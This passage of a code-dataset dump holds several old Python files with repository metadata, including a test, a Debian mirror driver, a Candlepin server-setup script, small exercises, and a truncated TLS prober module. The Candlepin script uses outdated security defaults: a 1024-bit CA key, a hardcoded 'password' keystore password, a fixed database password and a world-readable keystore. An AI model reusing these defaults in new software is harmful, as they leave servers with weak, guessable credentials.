]\n)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":610,"cells":{"__id__":{"kind":"number","value":11630771440796,"string":"11,630,771,440,796"},"blob_id":{"kind":"string","value":"adfed5948e21f4a1b357a708b8fea64c114bdfb1"},"directory_id":{"kind":"string","value":"feae1530f40703d6b71c8475138817f007bc8d86"},"path":{"kind":"string","value":"/testing/test_core_protocol.py"},"content_id":{"kind":"string","value":"2b059ef586d44d0c026a1d27b8359f02bc224311"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"ameyapg/xeno"},"repo_url":{"kind":"string","value":"https://github.com/ameyapg/xeno"},"snapshot_id":{"kind":"string","value":"196abdf1a7aa76a550abc2b8867915a0a2bc989b"},"revision_id":{"kind":"string","value":"3ce16970d2a3c12e1ecc464635562bb7b9dfd651"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-21T06:47:15.760720","string":"2021-01-21T06:47:15.760720"},"revision_date":{"kind":"timestamp","value":"2013-11-12T11:44:24","string":"2013-11-12T11:44:24"},"committer_date":{"kind":"timestamp","value":"2013-11-12T11:44:24","string":"2013-11-12T11:44:24"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# System modules\nimport os\nimport unittest\n\n# xeno imports\nfrom xeno.version import XENO_VERSION, STRINGIFY_VERSION\nfrom xeno.core.protocol import create_initialization_token, \\\n check_for_initialization_token, INITIALIZATION_KEY_REMOTE_VERSION, \\\n INITIALIZATION_KEY_IS_FILE, INITIALIZATION_KEY_REMOTE_PATH, \\\n INITIALIZATION_KEY_REPOSITORY_PATH\n\n\nclass TestProtocol(unittest.TestCase):\n def test_create_and_parse(self):\n \"\"\"Test to make sure token creation works okay.\n \"\"\"\n # Test with the user's home directory and a bogus repo\n path = os.path.expanduser('~')\n repo_path = '/Some/Repo/Path/'\n\n # Create a token\n token = create_initialization_token(path, repo_path)\n print(token)\n\n # Decode it\n decoded_object = check_for_initialization_token(token)\n\n # Make sure it is correct\n self.assertEqual(\n decoded_object,\n {\n INITIALIZATION_KEY_REMOTE_VERSION:\n STRINGIFY_VERSION(XENO_VERSION),\n INITIALIZATION_KEY_IS_FILE: False,\n INITIALIZATION_KEY_REMOTE_PATH: path,\n INITIALIZATION_KEY_REPOSITORY_PATH: repo_path\n }\n )\n\n def test_no_match(self):\n \"\"\"Test to make sure tokens aren't falsely detected.\n \"\"\"\n self.assertEqual(check_for_initialization_token('afs'),\n None)\n self.assertEqual(check_for_initialization_token(''),\n None)\n # This is the case that requires it be at the start of the string\n self.assertEqual(\n check_for_initialization_token(\n ' abcd'\n ),\n None\n )\n\n\n# Run the tests if this is the main module\nif __name__ == '__main__':\n unittest.main()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":611,"cells":{"__id__":{"kind":"number","value":18588618492001,"string":"18,588,618,492,001"},"blob_id":{"kind":"string","value":"b27d6139e43555c2cb1473e2296c8d2c5d5cff0b"},"directory_id":{"kind":"string","value":"2054da0a8f36085a6252ecfa00b2eed4ffce6411"},"path":{"kind":"string","value":"/psync/drivers/Debian.py"},"content_id":{"kind":"string","value":"c14810507be10852aa11bc87e163207a260c6eb6"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-only"],"string":"[\n \"GPL-2.0-only\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"StyXman/psync"},"repo_url":{"kind":"string","value":"https://github.com/StyXman/psync"},"snapshot_id":{"kind":"string","value":"1de92f101fc29f7051484f2c4221220fa8e09332"},"revision_id":{"kind":"string","value":"5e63564cb1fd62d60d5856bfd1de759dfee138c1"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-08-06T01:49:36.772053","string":"2016-08-06T01:49:36.772053"},"revision_date":{"kind":"timestamp","value":"2012-09-26T12:54:46","string":"2012-09-26T12:54:46"},"committer_date":{"kind":"timestamp","value":"2012-09-26T12:54:46","string":"2012-09-26T12:54:46"},"github_id":{"kind":"number","value":4362487,"string":"4,362,487"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# (c) 2005\n# Marcos Dione \n# Marcelo \"xanthus\" Ramos \n\nfrom os import listdir\nfrom os.path import dirname, basename\nimport gzip\nimport bz2 as bzip2\n\nfrom psync.core import Psync\nfrom psync.utils import stat\n\nfrom psync import logLevel\nimport logging\nlogger = logging.getLogger('psync.drivers.Debian')\nlogger.setLevel(logLevel)\n\nclass Debian(Psync):\n def __init__ (self, **kwargs):\n super (Debian, self).__init__ (**kwargs)\n\n def releaseDatabases(self):\n ans= []\n def releaseFunc (self):\n ans.append ((\"dists/%(release)s/Release\" % self, False))\n ans.append ((\"dists/%(release)s/Release.gpg\" % self, False))\n\n def archFunc (self):\n ans.append ((\"dists/%(release)s/Contents-%(arch)s.gz\" % self, False))\n\n def moduleFunc (self):\n # download the .gz only and process from there\n packages= \"dists/%(release)s/%(module)s/binary-%(arch)s/Packages\" % (self)\n packagesGz= packages+\".gz\"\n packagesBz2= packages+\".bz2\"\n release= \"dists/%(release)s/%(module)s/binary-%(arch)s/Release\" % (self)\n i18n= \"dists/%(release)s/%(module)s/i18n/Index\" % (self)\n # ans.append ( (packages, True) )\n ans.append ( (packagesGz, True) )\n ans.append ( (packagesBz2, True) )\n ans.append ( (release, False) )\n ans.append ( (i18n, False) )\n\n self.walkRelease (releaseFunc, archFunc, moduleFunc)\n return ans\n\n def files(self):\n packages= \"%(tempDir)s/%(repoDir)s/dists/%(release)s/%(module)s/binary-%(arch)s/Packages\" % self\n packagesGz= packages+\".gz\"\n packagesBz2= packages+\".bz2\"\n\n logger.debug (\"opening %s\" % packagesGz)\n gz= gzip.open (packagesGz)\n # bz2= bzip2.BZ2File (packagesBz2, 'w')\n o= open (packages, \"w+\")\n\n line= gz.readline ()\n while line:\n # print line\n o.write (line)\n # bz2.write (line)\n\n # grab filename\n if line.startswith ('Filename'):\n filename= line.split()[1]\n\n # grab size and process\n if line.startswith ('Size'):\n size= int(line.split()[1])\n # logger.debug ('found file %s, size %d' % (filename, size))\n yield (filename, size, False)\n\n line= gz.readline ()\n\n o.close ()\n gz.close ()\n # bz2.close ()\n\n # i18n support\n try:\n i18n= \"%(tempDir)s/%(repoDir)s/dists/%(release)s/%(module)s/i18n/Index\" % self\n logger.debug (\"opening %s\" % i18n)\n i= open (i18n)\n except (OSError, IOError), e:\n logger.warn (\"[Ign] %s ([Error %d] %s)\" % (i18n, e.errno, e.strerror))\n else:\n line= i.readline ()\n\n while line:\n if line[0]!=\" \":\n logger.debug (\"skipping %s\" % line)\n line= i.readline ()\n continue\n\n # 108e90332397205e5bb036ffd42a1ee0e984dd7f 997 Translation-eo.bz2\n data= line.split ()\n size= int (data[1])\n filename= (\"dists/%(release)s/%(module)s/i18n/\" % self) + data[2]\n logger.debug ('found i18n file %s, size %d' % (filename, size))\n # with None we force the file to be reget\n yield (filename, size, True)\n\n line= i.readline ()\n\n self.firstDatabase= True\n\n def finalReleaseDBs (self, old=False):\n ans= self.releaseDatabases ()\n\n def moduleFunc (self):\n # download the .gz only and process from there\n packages= \"dists/%(release)s/%(module)s/binary-%(arch)s/Packages\" % (self)\n ans.append ( (packages, True) )\n self.walkRelease (None, None, moduleFunc)\n\n return ans\n\n# end\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":612,"cells":{"__id__":{"kind":"number","value":11123965344225,"string":"11,123,965,344,225"},"blob_id":{"kind":"string","value":"294ccccfb1cbf9295497e3924b887599c8b89f85"},"directory_id":{"kind":"string","value":"9455a95445df638acfc5ce058bd50775898233c8"},"path":{"kind":"string","value":"/code/setup/cpsetup"},"content_id":{"kind":"string","value":"8e53718588af3c504d7c76a4ed460643d3da0134"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"lzap/candlepin"},"repo_url":{"kind":"string","value":"https://github.com/lzap/candlepin"},"snapshot_id":{"kind":"string","value":"5c665b530628e34e7aa95efc35ad7ac04c066d32"},"revision_id":{"kind":"string","value":"19cc3d5eb0091ad90a834759ea83bec0f6442a54"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T09:35:58.874663","string":"2021-01-18T09:35:58.874663"},"revision_date":{"kind":"timestamp","value":"2012-07-27T17:38:12","string":"2012-07-27T17:38:12"},"committer_date":{"kind":"timestamp","value":"2012-07-27T17:38:12","string":"2012-07-27T17:38:12"},"github_id":{"kind":"number","value":5272828,"string":"5,272,828"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/python\n#\n# Copyright (c) 2010 Red Hat, Inc.\n#\n# This software is licensed to you under the GNU General Public License,\n# version 2 (GPLv2). There is NO WARRANTY for this software, express or\n# implied, including the implied warranties of MERCHANTABILITY or FITNESS\n# FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2\n# along with this software; if not, see\n# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.\n#\n# Red Hat trademarks are not licensed under GPLv2. No permission is\n# granted to use or replicate Red Hat trademarks that are incorporated\n# in this software or its documentation.\n#\n\n\"\"\"\nScript to set up a Candlepin server.\n\nThis script should be idempotent, as puppet will re-run this to keep\nthe server functional.\n\"\"\"\n\nimport sys\nimport commands\nimport os.path, os\nimport socket\nimport re\nimport time\nimport httplib\nfrom optparse import OptionParser\n\nCANDLEPIN_CONF = '/etc/candlepin/candlepin.conf'\n\ndef run_command(command):\n (status, output) = commands.getstatusoutput(command)\n if status > 0:\n sys.stderr.write(\"\\n########## ERROR ############\\n\")\n sys.stderr.write(\"Error running command: %s\\n\" % command)\n sys.stderr.write(\"Status code: %s\\n\" % status)\n sys.stderr.write(\"Command output: %s\\n\" % output)\n raise Exception(\"Error running command\")\n return output\n\n# run with 'sudo' if not running as root\ndef run_command_with_sudo(command):\n if os.geteuid()==0:\n run_command(command)\n else:\n run_command('sudo %s' % command)\n\nclass TomcatSetup(object):\n def __init__(self, conf_dir, keystorepwd):\n self.conf_dir = conf_dir\n self.comment_pattern = ''\n self.existing_pattern = ''\n self.https_conn = \"\"\"\n \"\"\" % (keystorepwd, keystorepwd)\n\n\n def _backup_config(self, conf_dir):\n run_command('cp %s/server.xml %s/server.xml.original' % (conf_dir, conf_dir))\n\n def _replace_current(self, original):\n regex = re.compile(self.existing_pattern, re.DOTALL)\n return regex.sub(self.https_conn, original)\n\n def _replace_commented(self, original):\n regex = re.compile(self.comment_pattern, re.DOTALL)\n return regex.sub(self.https_conn, original)\n\n def update_config(self):\n self._backup_config(self.conf_dir)\n original = open(os.path.join(self.conf_dir, 'server.xml'), 'r').read()\n\n if re.search(self.comment_pattern, original, re.DOTALL):\n updated = self._replace_commented(original)\n else:\n updated = self._replace_current(original)\n\n config = open(os.path.join(self.conf_dir, 'server.xml'), 'w')\n config.write(updated)\n file.close\n\n def fix_perms(self):\n run_command(\"chmod g+x /var/log/tomcat6\")\n run_command(\"chmod g+x /etc/tomcat6/\")\n run_command(\"chown tomcat:tomcat -R /var/lib/tomcat6\")\n run_command(\"chown tomcat:tomcat -R /var/lib/tomcat6\")\n run_command(\"chown tomcat:tomcat -R /var/cache/tomcat6\")\n\n def stop(self):\n run_command(\"/sbin/service tomcat6 stop\")\n\n def restart(self):\n run_command(\"/sbin/service tomcat6 restart\")\n\n def wait_for_startup(self):\n print(\"Waiting for tomcat to restart...\")\n conn = httplib.HTTPConnection('localhost:8080')\n for x in range(1,5):\n time.sleep(5)\n try:\n conn.request('GET', \"/candlepin/\")\n if conn.getresponse().status == 200:\n break\n except:\n print(\"Waiting for tomcat to restart...\")\n\nclass CertSetup(object):\n def __init__(self):\n self.cert_home = '/etc/candlepin/certs'\n self.ca_key_passwd = self.cert_home + '/candlepin-ca-password.txt'\n self.ca_key = self.cert_home + '/candlepin-ca.key'\n self.ca_upstream_cert = self.cert_home + '/candlepin-upstream-ca.crt'\n self.ca_pub_key = self.cert_home + '/candlepin-ca-pub.key'\n self.ca_cert = self.cert_home + '/candlepin-ca.crt'\n self.keystore = self.cert_home + '/keystore'\n\n def generate(self):\n if not os.path.exists(self.cert_home):\n run_command_with_sudo('mkdir -p %s' % self.cert_home)\n\n if os.path.exists(self.ca_key) and os.path.exists(self.ca_cert):\n print(\"Cerficiates already exist, skipping...\")\n return\n\n print(\"Creating CA private key password\")\n run_command_with_sudo('su -c \"echo $RANDOM > %s\"' % self.ca_key_passwd)\n print(\"Creating CA private key\")\n run_command_with_sudo('openssl genrsa -out %s -passout \"file:%s\" 1024' % (self.ca_key, self.ca_key_passwd))\n print(\"Creating CA public key\")\n run_command_with_sudo('openssl rsa -pubout -in %s -out %s' % (self.ca_key, self.ca_pub_key))\n print(\"Creating CA certificate\")\n run_command_with_sudo('openssl req -new -x509 -days 365 -key %s -out %s -subj \"/CN=%s/C=US/L=Raleigh/\"' % (self.ca_key, self.ca_cert, socket.gethostname()))\n run_command_with_sudo('openssl pkcs12 -export -in %s -inkey %s -out %s -name tomcat -CAfile %s -caname root -chain -password pass:password' % (self.ca_cert, self.ca_key, self.keystore, self.ca_cert))\n run_command_with_sudo('cp %s %s' % (self.ca_cert, self.ca_upstream_cert))\n run_command_with_sudo('chmod a+r %s' % self.keystore)\n\n\ndef write_candlepin_conf(options):\n \"\"\"\n Write configuration to candlepin.conf.\n \"\"\"\n\n # If the file exists and it's size is not 0 (it will be empty after\n # fresh rpm install), write out a default with database configuration:\n if os.path.exists(CANDLEPIN_CONF) and os.stat(CANDLEPIN_CONF).st_size > 0:\n print(\"candlepin.conf already exists, skipping...\")\n return\n\n print(\"Writing configuration file\")\n f = open(CANDLEPIN_CONF, 'w')\n f.write('jpa.config.hibernate.dialect=org.hibernate.dialect.PostgreSQLDialect\\n')\n f.write('jpa.config.hibernate.connection.driver_class=org.postgresql.Driver\\n')\n f.write('jpa.config.hibernate.connection.url=jdbc:postgresql:%s\\n' % options.db)\n f.write('jpa.config.hibernate.hbm2ddl.auto=validate\\n')\n f.write('jpa.config.hibernate.connection.username=%s\\n' % options.dbuser)\n f.write('jpa.config.hibernate.connection.password=candlepin\\n')\n if options.webapp_prefix:\n f.write('\\ncandlepin.export.webapp.prefix=%s\\n' % options.webapp_prefix)\n f.close()\n\n\ndef main(argv):\n\n parser = OptionParser()\n parser.add_option(\"-s\", \"--skipdbcfg\",\n action=\"store_true\", dest=\"skipdbcfg\", default=False,\n help=\"don't configure the /etc/candlepin/candlepin.conf file\")\n parser.add_option(\"-u\", \"--user\",\n dest=\"dbuser\", default=\"candlepin\",\n help=\"the database user to use\")\n parser.add_option(\"-d\", \"--database\",\n dest=\"db\", default=\"candlepin\",\n help=\"the database to use\")\n parser.add_option(\"-w\", \"--webapp-prefix\",\n dest=\"webapp_prefix\",\n help=\"the web application prefix to use for export origin [host:port/prefix]\")\n parser.add_option(\"-k\", \"--keystorepwd\",\n dest=\"keystorepwd\", default=\"password\",\n help=\"the keystore password to use for the tomcat configuration\")\n\n (options, args) = parser.parse_args()\n\n # Stop tomcat before we wipe the DB otherwise you get errors from pg\n tsetup = TomcatSetup('/etc/tomcat6', options.keystorepwd)\n tsetup.fix_perms()\n tsetup.stop()\n\n # Call the cpdb script to create the candlepin database. This will fail\n # if the database already exists, protecting us from accidentally wiping\n # it out if cpsetup is re-run.\n script_dir = os.path.dirname(__file__)\n cpdb_script = os.path.join(script_dir, \"cpdb\")\n run_command(\"%s --create -u %s --database %s\" % (cpdb_script,\n options.dbuser, options.db))\n\n if not options.skipdbcfg:\n write_candlepin_conf(options)\n else:\n print \"** Skipping configuration file setup\"\n\n certsetup = CertSetup()\n certsetup.generate()\n\n tsetup = TomcatSetup('/etc/tomcat6', options.keystorepwd)\n tsetup.update_config()\n tsetup.restart()\n tsetup.wait_for_startup()\n\n run_command(\"wget -qO- http://localhost:8080/candlepin/admin/init\")\n\n print(\"Candlepin has been configured.\")\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":613,"cells":{"__id__":{"kind":"number","value":1357209698979,"string":"1,357,209,698,979"},"blob_id":{"kind":"string","value":"ba6c2d4459f49ef004937860b528abcfd0d2c504"},"directory_id":{"kind":"string","value":"575bd8dd1079759239e60a6e834e003e809af0ab"},"path":{"kind":"string","value":"/vnccollab/content/browser/interfaces.py"},"content_id":{"kind":"string","value":"bee76d4f8ec55a521f281e8ab8a7124c81ac92f7"},"detected_licenses":{"kind":"list like","value":["GPL-2.0-or-later"],"string":"[\n \"GPL-2.0-or-later\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"vnc-biz/vnccollab.content"},"repo_url":{"kind":"string","value":"https://github.com/vnc-biz/vnccollab.content"},"snapshot_id":{"kind":"string","value":"0f8a620cee6236f6dd2009bb463d0416c873b9f9"},"revision_id":{"kind":"string","value":"17cf7a46ea335192dc23b56a72f5674f021c370f"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-08-03T00:09:25.330300","string":"2016-08-03T00:09:25.330300"},"revision_date":{"kind":"timestamp","value":"2014-07-03T12:36:00","string":"2014-07-03T12:36:00"},"committer_date":{"kind":"timestamp","value":"2014-07-03T12:36:00","string":"2014-07-03T12:36:00"},"github_id":{"kind":"number","value":18652437,"string":"18,652,437"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from plone.theme.interfaces import IDefaultPloneLayer\n\nclass IPackageLayer(IDefaultPloneLayer):\n \"\"\"A layer specific to vnccollab.content package\"\"\"\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":614,"cells":{"__id__":{"kind":"number","value":16664473122429,"string":"16,664,473,122,429"},"blob_id":{"kind":"string","value":"9350b4cf54809fcb543e5bcf3605df270ba39415"},"directory_id":{"kind":"string","value":"1f15204c3bdfab4d34d94959bab264b3924a0d57"},"path":{"kind":"string","value":"/week_0/2-Python-harder-problem-set/prime_number.py"},"content_id":{"kind":"string","value":"e1c64f9e5aee0563ebf4a6438e028c963d990676"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"IvanAlexandrov/HackBulgaria-Tasks"},"repo_url":{"kind":"string","value":"https://github.com/IvanAlexandrov/HackBulgaria-Tasks"},"snapshot_id":{"kind":"string","value":"c6daa44091062e8c984d5b48d22e4e4e7d754129"},"revision_id":{"kind":"string","value":"321fd7ba03f7d1b4cd83803feb31ad887250f42d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T21:06:24.426679","string":"2021-01-10T21:06:24.426679"},"revision_date":{"kind":"timestamp","value":"2014-11-30T20:38:37","string":"2014-11-30T20:38:37"},"committer_date":{"kind":"timestamp","value":"2014-11-30T20:38:37","string":"2014-11-30T20:38:37"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"def is_prime(n):\n result = True\n if n <= 1:\n result = False\n else:\n # TODO optimize for large numbers\n\n divisor_limit = int(n ** 0.5)\n for i in range(2, divisor_limit + 1, 1):\n if n % i == 0:\n result = False\n break\n return result\n\n\ndef main():\n # 2 ** 57885161 - 1\n test = [1, 2, 8, 11, -10, 7, 17, 4]\n for number in test:\n print(is_prime(number))\n\nif __name__ == \"__main__\":\n main()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":615,"cells":{"__id__":{"kind":"number","value":11802570137737,"string":"11,802,570,137,737"},"blob_id":{"kind":"string","value":"e3b8ae64c9bec7084485a0087ffc1b9ef7ac4c43"},"directory_id":{"kind":"string","value":"559fbe01ec9756b58991bbdcf67672f2381e05ca"},"path":{"kind":"string","value":"/sim"},"content_id":{"kind":"string","value":"f0bfa60e6dae8fe96063b86f91edd1088b45f049"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"manasdas17/simple_c"},"repo_url":{"kind":"string","value":"https://github.com/manasdas17/simple_c"},"snapshot_id":{"kind":"string","value":"9de1d83d04ec9599322084461fa43400758e4202"},"revision_id":{"kind":"string","value":"50d8ebf70244461409d12e66bff955e8d9f73d66"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-03T05:19:09.014067","string":"2020-12-03T05:19:09.014067"},"revision_date":{"kind":"timestamp","value":"2012-05-13T20:57:17","string":"2012-05-13T20:57:17"},"committer_date":{"kind":"timestamp","value":"2012-05-13T20:57:17","string":"2012-05-13T20:57:17"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n\nimport sys\n\nimport compiler.parser as parser\nimport compiler.optimizer as optimizer\nimport simulator.simulator as simulator\nimport assembler.assembler as assembler\n\ninput_file = open(sys.argv[1], 'r')\ninput_file = input_file.read()\ntheparser = parser.Parser()\ninstructions = theparser.parse(input_file).generate_code()\ninstructions = optimizer.optimize(instructions)\ninstructions = assembler.assemble(instructions)\nsimulator = simulator.Simulator(instructions)\n\nwhile simulator.program_counter != 3:\n simulator.execute()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":616,"cells":{"__id__":{"kind":"number","value":1846835949329,"string":"1,846,835,949,329"},"blob_id":{"kind":"string","value":"2e07cd1705884c8f0fca90b8fd2418a51c89c01e"},"directory_id":{"kind":"string","value":"8b59717712aa55f004c5562e42e1c79cd0f545b3"},"path":{"kind":"string","value":"/probe_lists.py"},"content_id":{"kind":"string","value":"08fb1239c70e2aba3bb065a3e40be35e71248c1b"},"detected_licenses":{"kind":"list like","value":["Apache-2.0"],"string":"[\n \"Apache-2.0\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"jamella/tlsprober"},"repo_url":{"kind":"string","value":"https://github.com/jamella/tlsprober"},"snapshot_id":{"kind":"string","value":"0dfe6b01416f886144819ffcda82131757ec2970"},"revision_id":{"kind":"string","value":"927f6177939470235bf336bca27096369932fc66"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T07:51:14.180324","string":"2021-01-18T07:51:14.180324"},"revision_date":{"kind":"timestamp","value":"2012-12-14T21:09:19","string":"2012-12-14T21:09:19"},"committer_date":{"kind":"timestamp","value":"2012-12-17T09:19:02","string":"2012-12-17T09:19:02"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- Mode: python; tab-width: 4; indent-tabs-mode: nil; -*-\n# Copyright 2010-2012 Opera Software ASA \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n\"\"\"\nThe prober engine, performs the actual probes, and insertion\ninto the database. Started by cluster_start.py\n\"\"\"\n\nimport socket\nimport fileinput\nimport libinit\nfrom optparse import OptionParser\nfrom probe_server import ProbeServer\nimport time\n\nimport probedb.standalone\nfrom db_list import db_list\nimport probedb.probedata2.models as Probe\nimport sys\nfrom django.db import connection, transaction\n\nclass test_output:\n\t\n\t\"\"\"Test queue and result presenter\"\"\"\n\tdef __init__(self, options, args, *other):\n\t\tself.args = args\n\n\tdef log_performance(self):\n\t\tpass\n\n\tclass Queue:\n\t\tdef __init__(self,args):\n\t\t\tself.args = args\n\n\t\tdef IsActive(self):\n\t\t\treturn True\n\t\t\n\t\tdef __iter__(self):\n\t\t\tdef make_entry(x):\n\t\t\t\tret = x.split(\":\") \n\t\t\t\tif len(ret) <1:\n\t\t\t\t\traise Exception()\n\t\t\t\telif len(ret) <2:\n\t\t\t\t\tret += [443, Probe.Server.PROTOCOL_HTTPS]\n\t\t\t\telif len(ret) < 3:\n\t\t\t\t\tret[1] = int(ret[1])\n\t\t\t\t\tret.append(Probe.Server.PROTOCOL_PORT.get(ret[1], Probe.Server.PROTOCOL_HTTPS))\n\t\t\t\telse:\n\t\t\t\t\tret[1] = int(ret[1])\n\n\t\t\t\t(server, port,protocol) = ret[0:3]\n\t\t\t\tsn_t = \"%s:%05d\" % (server, port)\n\t\t\t\tclass 